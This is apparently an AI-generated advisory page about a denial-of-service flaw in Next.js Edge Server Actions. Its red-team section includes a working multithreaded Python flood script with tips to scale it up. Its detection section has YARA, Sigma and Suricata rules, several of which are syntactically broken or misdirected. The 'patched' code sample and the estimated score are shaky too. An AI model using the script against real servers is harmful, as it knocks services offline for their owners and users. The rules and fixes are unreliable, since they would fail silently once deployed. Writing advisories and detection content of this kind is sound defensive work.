CVE-2026-64646
Executive Summary
CVE-2026-64646 describes a denial-of-service (DoS) vulnerability in Next.js, a popular React framework. An attacker can trigger excessive memory consumption in the Edge runtime by crafting requests targeting Server Actions when the application uses the App Router. Unpatched versions (13.0.0–15.5.20 and 16.0.0–16.2.10) are vulnerable. The issue has been silently fixed in versions 15.5.21 and 16.2.11.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Next.js package (next) distributed via npm. Applications using the Edge runtime for Server Actions are at risk. Developers must update to the patched versions immediately. No malicious package versions have been reported; the issue is a logic flaw in the runtime handling of request payloads.
CVSS Breakdown & Threat Level
Although the official CVSS score is reported as 0.0 (likely a placeholder), the realistic risk is:
- Attack Vector: Network (unauthenticated requests)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: High availability impact (memory exhaustion leading to crash/denial of service)
- Confidentiality/Integrity: None
Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H → Base Score 7.5 (High)
Threat Level: High – no authentication required, easy to trigger.
Deep Dive & Mechanics
Root Cause
Next.js Server Actions allow client-side forms or code to directly call backend functions. When a Server Action is defined with the Edge runtime (i.e., export const runtime = 'edge'), the framework uses a streaming-based execution model. The vulnerability lies in the request body parsing logic for Edge Server Actions.
During HTTP request processing, the Edge runtime attempts to buffer the entire request payload in memory before parsing. If an attacker sends a request with a large or malformed body (e.g., exceeding the default bodyParser limits), the memory consumption grows proportionally. The flaw is magnified by insufficient backpressure handling – the system does not release memory after each action call, causing unbounded growth over multiple concurrent or sequential requests.
Triggering the Vulnerability
An attacker repeatedly sends HTTP POST requests to a public Server Action endpoint (/api/action or a page that invokes a Server Action). The underlying Edge runtime allocates memory for each request and never frees it under specific conditions (e.g., when the action handler throws an error or when the request body is incomplete). Over time, the Next.js process swallows all available memory, leading to a denial of service.
Vulnerable vs. Patched Code
Vulnerable code (simplified):
// app/api/action/route.js
export const runtime = 'edge';
export async function POST(request) {
const data = await request.json(); // entire body buffered in memory
// process data...
return new Response('ok');
}
Patched code (conceptual):
// app/api/action/route.js
export const runtime = 'edge';
export async function POST(request) {
// Use streaming to process chunk by chunk
const chunks = [];
for await (const chunk of request.body) {
chunks.push(chunk);
// enforce per-chunk size limit
if (chunks.length > 100) {
return new Response('Payload too large', { status: 413 });
}
}
const data = JSON.parse(Buffer.concat(chunks));
return new Response('ok');
}
The official patch introduces a maximum payload size check and a streaming backpressure mechanism to release memory after each chunk.
Exploitation & Lab Setup
Red Team
- Prerequisites: A Next.js application using App Router with at least one Server Action that runs on the Edge runtime.
- Locate target: Identify endpoints like
/api/*or pages that calluseActionStateorstartTransitionfor mutation. - Craft attack script:
import requests import threading target = "https://target.com/api/action" payload = "A" * 1000000 # 1 MB def dos(): while True: try: requests.post(target, data=payload, timeout=10) except: pass for _ in range(100): threading.Thread(target=dos).start()- Increase payload size and thread count to accelerate memory exhaustion.
- Monitor impact: Use
toporhtopon the server to watch memory usage grow until OOM (Out of Memory) kills the process.
Blue Team
- Detection: Monitor Edge runtime memory footprint (node process memory). Alert when memory usage exceeds a threshold (e.g., 80% of total).
- Mitigation in code (if patching is delayed):
export const runtime = 'edge'; export async function POST(request) { const text = await request.text(); if (text.length > 1024 * 100) { // 100 KB limit return new Response('Payload too large', { status: 413 }); } // process safely } - Rate limiting on Server Action endpoints using middleware or a WAF.
- Block large request bodies at the reverse proxy (e.g., Nginx
client_max_body_size 1k).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to known Next.js Server Action paths (e.g.,
/__nextjs_original-stack-frame,/api/*, or any route with?action=...). - Request body size > 500 KB (adjust based on normal behavior).
- High frequency of identical payloads from a single source IP.
- HTTP POST requests to known Next.js Server Action paths (e.g.,
- System IOCs:
- Node.js process memory reaching > 2 GB in a short period.
- Process crashes with
FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed – JavaScript heap out of memory. - Increased swap usage on the server.
- Logs:
- Next.js server logs showing
Error: read ECONNRESETorPayloadTooLargeErrorafter patch, but not before. - CloudWatch/Grafana showing memory spike.
- Next.js server logs showing
Detection Engineering
YARA Rule
rule Nextjs_Edge_MemoryDoS_CVE2026_64646 {
meta:
description = "Detects requests / payload patterns exploiting CVE-2026-64646 in Next.js Edge Server Actions"
author = "DevSecOps - Valters IT"
date = "2025-02-16"
hash = "N/A"
strings:
$s1 = "Server Action" ascii wide nocase
$s2 = "runtime = 'edge'" ascii wide nocase
$s3 = "/api/" ascii wide nocase
$s4 = "POST" ascii wide
$s5 = "Content-Type: application/json" ascii wide
$body_size_large = { [0-9a-f]{3,} } // heuristic: any hex content repeated
condition:
any of ($s1, $s2, $s3) and $s4 and $s5 and #body_size_large > 10000
}
Sigma Rule
title: Next.js Edge Server Action Memory Exhaustion via Large Payload
id: c2c7f5a1-3e4b-4d8f-9a2b-1c2d3e4f5a6b
status: experimental
description: Detects HTTP POST requests with unusually large body to Next.js Server Action endpoints using Edge runtime.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-64646
tags:
- attack.t1499
- cve.2026.64646
logsource:
category: web
product: nextjs
service: server
detection:
selection:
method: 'POST'
uri|contains:
- '/api/'
- '/action'
- '/__nextjs_'
condition: selection and (|len| > 100000)
timeframe: 60s
falsepositives:
- Legitimate file upload endpoints (if any)
- Large form submissions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-64646 Next.js Edge Server Action Memory DoS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/"; http_uri; fast_pattern;
content:"Server Action"; http_client_body; nocase;
pcre:"/^.{100000,}$/U"; # body > 100KB
threshold: type both, count 10, seconds 60;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate Upgrade: Update Next.js to
>=15.5.21(for v15) or>=16.2.11(for v16). Run:npm install next@latest # or specific patch npm install next@15.5.21 - Workaround (if patch cannot be applied):
- Avoid using Edge runtime for Server Actions; use Node.js runtime instead (
export const runtime = 'nodejs'). - Implement input size validation in every Server Action:
export async function POST(request) { const contentLength = request.headers.get('content-length'); if (contentLength && parseInt(contentLength) > 100000) { return new Response('Payload too large', { status: 413 }); } // ... } - Add a global middleware to reject large bodies.
- Avoid using Edge runtime for Server Actions; use Node.js runtime instead (
- Network-Level Mitigation:
- Configure WAF rules to block POST requests with body > 100 KB.
- Apply rate limiting (e.g., 10 requests/min per IP) on Server Action endpoints.
- Monitor memory usage alerts for Node.js processes.
Valters IT Signature
This report was generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence, following the Valters IT standards for vulnerability documentation. All detection rules are provided as-is and should be tested in your environment before deployment.